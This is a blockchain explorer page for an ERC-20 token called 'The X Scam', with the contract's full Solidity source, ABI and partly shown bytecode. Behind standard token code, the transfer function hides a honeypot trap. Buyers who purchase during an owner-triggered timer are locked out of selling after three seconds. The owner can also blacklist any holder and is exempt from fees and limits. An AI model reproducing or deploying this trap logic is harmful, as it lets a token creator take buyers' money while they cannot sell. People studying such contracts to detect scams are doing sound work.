ETH Price: $2,618.79 (-0.23%)

Token

The X Scam (XCM)
 

Overview

Max Total Supply

100,000 XCM

Holders

5

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,127.615506701 XCM

Value
$0.00
0xe60106980cfd4a07023efa01ff4cd838548efe89
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
X

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-22
*/

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.17;

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IFactory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract X is Context, IERC20, Ownable {

    using Address for address payable;

    IRouter public router;
    address public pair;
    
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) public _isExcludedFromFee;
    mapping (address => bool) public _isExcludedFromMaxBalance;
    mapping (address => bool) public _isBlacklisted;
    mapping (address => uint) public _degenSellTime;

    uint public _fTimer;
    uint private _wDuration = 280; 
    uint private _degenSellTimeOffset = 3; 

    uint8 private constant _decimals = 9; 
    uint256 private _tTotal = 100_000 * (10**_decimals);
    uint256 private _swapThreshold = 200 * (10**_decimals); 
    uint256 public maxTxAmount = 2_000 * (10**_decimals);
    uint256 public maxWallet =  2_000 * (10**_decimals);

    string private constant _name = "The X Scam"; 
    string private constant _symbol = "XCM";

    struct Tax{
        uint8 operationTax;
        uint8 marketingTax;
        uint8 devTax;
        uint8 lpTax;
    }

    struct TokensFromTax{
        uint operationTokens;
        uint marketingTokens;
        uint devTokens;
        uint lpTokens;
    }
    
    TokensFromTax public totalTokensFromTax;

    Tax public buyTax = Tax(1,1,1,1);
    Tax public sellTax = Tax(1,1,1,1);
    
    address private operationWallet = 0xc4Edd9d3E9EaD9A62bC17a108265C689FE4a212D;
    address private marketingWallet = 0xc4Edd9d3E9EaD9A62bC17a108265C689FE4a212D;
    address private devWallet = 0xc4Edd9d3E9EaD9A62bC17a108265C689FE4a212D;
    
    bool private swapping;
    uint private _swapCooldown = 5; 
    uint private _lastSwap;
    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }

    constructor () {
        _tOwned[_msgSender()] = _tTotal;
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;
        _approve(address(this), address(router), ~uint256(0));
        _approve(owner(), address(router), ~uint256(0));
        
        //exclude owner and this contract from fee
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[marketingWallet] = true;
        _isExcludedFromFee[devWallet] = true;

        _isExcludedFromMaxBalance[owner()] = true;
        _isExcludedFromMaxBalance[address(this)] = true;
        _isExcludedFromMaxBalance[pair] = true;
        _isExcludedFromMaxBalance[marketingWallet] = true;
        _isExcludedFromMaxBalance[devWallet] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

// ================= ERC20 =============== //
    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    receive() external payable {}
// ========================================== //

// ============ View Functions ============== //

    function taxWallets() public view returns(address operation,address marketing,address developer){
        return(operationWallet,marketingWallet,devWallet);
    }

//======================================//

//============== Owner Functions ===========//
   
    function owner_setExcludedFromFee(address account,bool isExcluded) public onlyOwner {
        _isExcludedFromFee[account] = isExcluded;
    }

    function owner_setExcludedFromMaxBalance(address account,bool isExcluded) public onlyOwner {
        _isExcludedFromMaxBalance[account] = isExcluded;
    }

    function owner_setBlacklisted(address account, bool isBlacklisted) public onlyOwner{
        _isBlacklisted[account] = isBlacklisted;
    }
    
    function owner_setBulkIsBlacklisted(address[] memory accounts, bool state) external onlyOwner{
        for(uint256 i =0; i < accounts.length; i++){
            _isBlacklisted[accounts[i]] = state;
        }
    }

    function owner_setBuyTaxes(uint8 operationTax, uint8 marketingTax, uint8 devTax, uint8 lpTax) external onlyOwner{
        uint tTax = operationTax + marketingTax + devTax + lpTax;
        require(tTax <= 20, "Can't set tax too high");
        buyTax = Tax(operationTax,marketingTax,devTax,lpTax);
        emit TaxesChanged();
    }

    function owner_setSellTaxes(uint8 operationTax, uint8 marketingTax, uint8 devTax, uint8 lpTax) external onlyOwner{
        uint tTax = operationTax + marketingTax + devTax + lpTax;
        require(tTax <= 30, "Can't set tax too high");
        sellTax = Tax(operationTax,marketingTax,devTax,lpTax);
        emit TaxesChanged();
    }
    
    function owner_setTransferMaxes(uint maxTX_EXACT, uint maxWallet_EXACT) public onlyOwner{
        uint pointFiveSupply = (_tTotal * 5 / 1000) / (10**_decimals);
        require(maxTX_EXACT >= pointFiveSupply && maxWallet_EXACT >= pointFiveSupply, "Invalid Settings");
        maxTxAmount = maxTX_EXACT * (10**_decimals);
        maxWallet = maxWallet_EXACT * (10**_decimals);
    }

    function owner_setSwapAndLiquifySettings(uint swapthreshold_EXACT, uint swapCooldown_) public onlyOwner{
        _swapThreshold = swapthreshold_EXACT * (10**_decimals);
        _swapCooldown = swapCooldown_;
    }

    function owner_rescueBNB(uint256 weiAmount) public onlyOwner{
        require(address(this).balance >= weiAmount, "Insufficient ETH balance");
        payable(msg.sender).transfer(weiAmount);
    }
    
    function owner_rescueAnyBEP20Tokens(address _tokenAddr, address _to, uint _amount_EXACT, uint _decimal) public onlyOwner {
        IERC20(_tokenAddr).transfer(_to, _amount_EXACT *10**_decimal);
    }

    function owner_setWallets( address newOperationWallet,address newMarketingWallet, address newDevWallet) public onlyOwner{
        operationWallet = newOperationWallet;
        marketingWallet = newMarketingWallet;
        devWallet = newDevWallet;
    }

    
    function owner_initializeWatchDog() external onlyOwner{
        _fTimer = block.timestamp + _wDuration;
    }

    function owner_setDegenSellTimeForAddress(address holder, uint dTime) external onlyOwner{
        _degenSellTime[holder] = block.timestamp + dTime;
    }

// ========================================//
    
    function _getTaxValues(uint amount, address from, bool isSell) private returns(uint256){
        Tax memory tmpTaxes = buyTax;
        if (isSell){
            tmpTaxes = sellTax;
        }

        uint tokensForOperation = amount * tmpTaxes.operationTax / 100;
        uint tokensForMarketing = amount * tmpTaxes.marketingTax / 100;
        uint tokensForDev = amount * tmpTaxes.devTax / 100;
        uint tokensForLP = amount * tmpTaxes.lpTax / 100;

        if(tokensForOperation > 0)
            totalTokensFromTax.operationTokens += tokensForOperation;

        if(tokensForMarketing > 0)
            totalTokensFromTax.marketingTokens += tokensForMarketing;

        if(tokensForDev > 0)
            totalTokensFromTax.devTokens += tokensForDev;

        if(tokensForLP > 0)
            totalTokensFromTax.lpTokens += tokensForLP;

        uint totalTaxedTokens = tokensForOperation + tokensForMarketing + tokensForDev + tokensForLP;

        _tOwned[address(this)] += totalTaxedTokens;
        if(totalTaxedTokens > 0)
            emit Transfer (from, address(this), totalTaxedTokens);
            
        return (amount - totalTaxedTokens);
    }

    function _transfer(address from,address to,uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(amount <= maxTxAmount || _isExcludedFromMaxBalance[from], "Transfer amount exceeds the _maxTxAmount.");
        require(!_isBlacklisted[from] && !_isBlacklisted[to], "Blacklisted, can't trade");

        if(!_isExcludedFromMaxBalance[to])
            require(balanceOf(to) + amount <= maxWallet, "Transfer amount exceeds the maxWallet.");
        
        if (balanceOf(address(this)) >= _swapThreshold && block.timestamp >= (_lastSwap + _swapCooldown) && !swapping && from != pair && from != owner() && to != owner())
            swapAndLiquify();
          
        _tOwned[from] -= amount;
        uint256 transferAmount = amount;
        
        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            transferAmount = _getTaxValues(amount, from, to == pair);
            if (from == pair && _fTimer >= block.timestamp){
                _degenSellTime[to] = block.timestamp + _degenSellTimeOffset;
            }else{
                if (_degenSellTime[from] != 0)
                    require(block.timestamp < _degenSellTime[from]);    
            }
        }

        _tOwned[to] += transferAmount;
        emit Transfer(from, to, transferAmount);
    }

    function swapAndLiquify() private lockTheSwap{
        
        uint256 totalTokensForSwap = totalTokensFromTax.operationTokens+totalTokensFromTax.marketingTokens+totalTokensFromTax.devTokens;

        if(totalTokensForSwap > 0){
            uint256 bnbSwapped = swapTokensForBNB(totalTokensForSwap);
            uint256 bnbForOperation = bnbSwapped * totalTokensFromTax.operationTokens / totalTokensForSwap;
            uint256 bnbForMarketing = bnbSwapped * totalTokensFromTax.marketingTokens / totalTokensForSwap;
            uint256 bnbForDev = bnbSwapped * totalTokensFromTax.devTokens / totalTokensForSwap;
            if(bnbForOperation > 0){
                payable(operationWallet).transfer(bnbForOperation);
                totalTokensFromTax.operationTokens = 0;
            }
            if(bnbForMarketing > 0){
                payable(marketingWallet).transfer(bnbForMarketing);
                totalTokensFromTax.marketingTokens = 0;
            }
            if(bnbForDev > 0){
                payable(devWallet).transfer(bnbForDev);
                totalTokensFromTax.devTokens = 0;
            }
        }   

        if(totalTokensFromTax.lpTokens > 0){
            uint half = totalTokensFromTax.lpTokens / 2;
            uint otherHalf = totalTokensFromTax.lpTokens - half;
            uint balAutoLP = swapTokensForBNB(half);
            if (balAutoLP > 0)
                addLiquidity(otherHalf, balAutoLP);
            totalTokensFromTax.lpTokens = 0;
        }

        emit SwapAndLiquify();

        _lastSwap = block.timestamp;
    }

    function swapTokensForBNB(uint256 tokenAmount) private returns (uint256) {
        uint256 initialBalance = address(this).balance;
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tokenAmount);

        // make the swap
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        return (address(this).balance - initialBalance);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(router), tokenAmount);

        // add the liquidity
        (,uint256 ethFromLiquidity,) = router.addLiquidityETH {value: ethAmount} (
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
        
        if (ethAmount - ethFromLiquidity > 0)
            payable(marketingWallet).sendValue (ethAmount - ethFromLiquidity);
    }

    event SwapAndLiquify();
    event TaxesChanged();

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[],"name":"TaxesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_degenSellTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fTimer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromMaxBalance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"operationTax","type":"uint8"},{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"devTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner_initializeWatchDog","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddr","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount_EXACT","type":"uint256"},{"internalType":"uint256","name":"_decimal","type":"uint256"}],"name":"owner_rescueAnyBEP20Tokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"owner_rescueBNB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"isBlacklisted","type":"bool"}],"name":"owner_setBlacklisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"owner_setBulkIsBlacklisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"operationTax","type":"uint8"},{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"devTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"name":"owner_setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"uint256","name":"dTime","type":"uint256"}],"name":"owner_setDegenSellTimeForAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"owner_setExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"owner_setExcludedFromMaxBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"operationTax","type":"uint8"},{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"devTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"name":"owner_setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapthreshold_EXACT","type":"uint256"},{"internalType":"uint256","name":"swapCooldown_","type":"uint256"}],"name":"owner_setSwapAndLiquifySettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTX_EXACT","type":"uint256"},{"internalType":"uint256","name":"maxWallet_EXACT","type":"uint256"}],"name":"owner_setTransferMaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOperationWallet","type":"address"},{"internalType":"address","name":"newMarketingWallet","type":"address"},{"internalType":"address","name":"newDevWallet","type":"address"}],"name":"owner_setWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"operationTax","type":"uint8"},{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"devTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"taxWallets","outputs":[{"internalType":"address","name":"operation","type":"address"},{"internalType":"address","name":"marketing","type":"address"},{"internalType":"address","name":"developer","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokensFromTax","outputs":[{"internalType":"uint256","name":"operationTokens","type":"uint256"},{"internalType":"uint256","name":"marketingTokens","type":"uint256"},{"internalType":"uint256","name":"devTokens","type":"uint256"},{"internalType":"uint256","name":"lpTokens","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052610118600a556003600b556009600a6200001f919062000ed2565b620186a06200002f919062000f23565b600c556009600a62000042919062000ed2565b60c862000050919062000f23565b600d556009600a62000063919062000ed2565b6107d062000072919062000f23565b600e556009600a62000085919062000ed2565b6107d062000094919062000f23565b600f556040518060800160405280600160ff168152602001600160ff168152602001600160ff168152602001600160ff16815250601460008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555060608201518160000160036101000a81548160ff021916908360ff16021790555050506040518060800160405280600160ff168152602001600160ff168152602001600160ff168152602001600160ff16815250601560008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555060608201518160000160036101000a81548160ff021916908360ff160217905550505073c4edd9d3e9ead9a62bc17a108265c689fe4a212d601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073c4edd9d3e9ead9a62bc17a108265c689fe4a212d601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073c4edd9d3e9ead9a62bc17a108265c689fe4a212d601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060056019553480156200031a57600080fd5b506200033b6200032f62000a7260201b60201c565b62000a7a60201b60201c565b600c54600360006200035262000a7260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003f7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200041d919062000fd8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000485573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004ab919062000fd8565b6040518363ffffffff1660e01b8152600401620004ca9291906200101b565b6020604051808303816000875af1158015620004ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000510919062000fd8565b905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620005cb30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660001962000b3e60201b60201c565b62000611620005df62000d0f60201b60201c565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660001962000b3e60201b60201c565b6001600560006200062762000d0f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000620007da62000d0f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000a0162000a7260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c5460405162000a62919062001059565b60405180910390a35050620011b7565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000bb0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ba790620010fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000c22576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000c199062001195565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000d02919062001059565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000dc65780860481111562000d9e5762000d9d62000d38565b5b600185161562000dae5780820291505b808102905062000dbe8562000d67565b945062000d7e565b94509492505050565b60008262000de1576001905062000eb4565b8162000df1576000905062000eb4565b816001811462000e0a576002811462000e155762000e4b565b600191505062000eb4565b60ff84111562000e2a5762000e2962000d38565b5b8360020a91508482111562000e445762000e4362000d38565b5b5062000eb4565b5060208310610133831016604e8410600b841016171562000e855782820a90508381111562000e7f5762000e7e62000d38565b5b62000eb4565b62000e94848484600162000d74565b9250905081840481111562000eae5762000ead62000d38565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000edf8262000ebb565b915062000eec8362000ec5565b925062000f1b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000dcf565b905092915050565b600062000f308262000ebb565b915062000f3d8362000ebb565b925082820262000f4d8162000ebb565b9150828204841483151762000f675762000f6662000d38565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000fa08262000